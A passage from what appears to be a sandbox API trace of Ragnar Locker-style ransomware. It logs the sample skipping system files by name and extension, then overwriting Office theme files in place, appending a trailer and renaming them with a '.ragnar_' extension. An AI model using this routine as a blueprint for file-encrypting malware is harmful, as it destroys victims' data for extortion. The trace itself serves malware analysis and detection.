nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.255] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0072.255] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0072.255] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.255] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d4fff40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d4fff40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.255] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d4fff40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d4fff40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.255] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0072.255] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.255] lstrcpyW (in: lpString1=0x1eab70, lpString2="COMPASS.ELM" | out: lpString1="COMPASS.ELM") returned="COMPASS.ELM" [0072.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM") returned=".ELM" [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="autorun.inf") returned 1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="boot.ini") returned 1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="bootfont.bin") returned 1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="bootsect.bak") returned 1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="bootmgr") returned 1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="bootmgr.efi") returned 1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="bootmgfw.efi") returned 1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="desktop.ini") returned -1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="iconcache.db") returned -1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="ntldr") returned -1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="ntuser.dat") returned -1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="ntuser.dat.log") returned -1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="ntuser.ini") returned -1 [0072.255] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="thumbs.db") returned -1 [0072.256] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0072.256] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0072.256] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0072.256] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0072.256] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0072.256] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0072.256] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0072.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm")) returned 0x20 [0072.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.257] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=54803) returned 1 [0072.257] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd60a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.257] GetProcessHeap () returned 0x580000 [0072.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.257] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.259] VirtualAlloc (lpAddress=0x0, dwSize=0xd613, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.259] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.259] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.259] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd613, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd613, lpOverlapped=0x0) returned 1 [0072.261] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.261] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd613, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.261] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd613, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd613, lpOverlapped=0x0) returned 1 [0072.261] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd613, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.261] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.262] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd613, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.262] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.262] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.262] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.262] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.262] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.262] GetProcessHeap () returned 0x580000 [0072.262] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.262] CloseHandle (hObject=0x10c) returned 1 [0072.263] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" [0072.264] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.ragnar_FD7BD9FC" [0072.264] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.266] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0072.266] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.266] lstrcpyW (in: lpString1=0x1eab70, lpString2="COMPASS.INF" | out: lpString1="COMPASS.INF") returned="COMPASS.INF" [0072.266] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned=".INF" [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="autorun.inf") returned 1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="boot.ini") returned 1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="bootfont.bin") returned 1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="bootsect.bak") returned 1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="bootmgr") returned 1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="bootmgr.efi") returned 1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="bootmgfw.efi") returned 1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="desktop.ini") returned -1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="iconcache.db") returned -1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="ntldr") returned -1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="ntuser.dat") returned -1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="ntuser.dat.log") returned -1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="ntuser.ini") returned -1 [0072.266] lstrcmpiW (lpString1="COMPASS.INF", lpString2="thumbs.db") returned -1 [0072.266] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0072.266] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0072.266] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0072.266] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0072.266] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0072.266] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0072.266] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0072.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0072.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.267] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=486) returned 1 [0072.267] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.267] GetProcessHeap () returned 0x580000 [0072.267] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.267] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.268] VirtualAlloc (lpAddress=0x0, dwSize=0x1e6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.268] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.268] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.268] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e6, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1e6, lpOverlapped=0x0) returned 1 [0072.268] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.268] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.268] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e6, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1e6, lpOverlapped=0x0) returned 1 [0072.268] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.268] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.269] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.269] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.269] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.269] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.269] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.269] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.269] GetProcessHeap () returned 0x580000 [0072.269] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.269] CloseHandle (hObject=0x10c) returned 1 [0072.270] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" [0072.270] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.ragnar_FD7BD9FC" [0072.270] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.270] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.271] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0072.271] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned=".GIF" [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0072.271] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0072.271] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0072.271] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0072.271] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0072.271] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0072.271] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0072.271] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0072.271] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0072.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0072.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.272] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1293) returned 1 [0072.272] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.272] GetProcessHeap () returned 0x580000 [0072.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.272] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.316] VirtualAlloc (lpAddress=0x0, dwSize=0x50d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.316] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.316] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.317] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x50d, lpOverlapped=0x0) returned 1 [0072.317] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.317] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50d, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.317] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x50d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x50d, lpOverlapped=0x0) returned 1 [0072.317] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x50d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.317] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.317] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x50d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.317] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.317] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.317] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.317] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.318] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, 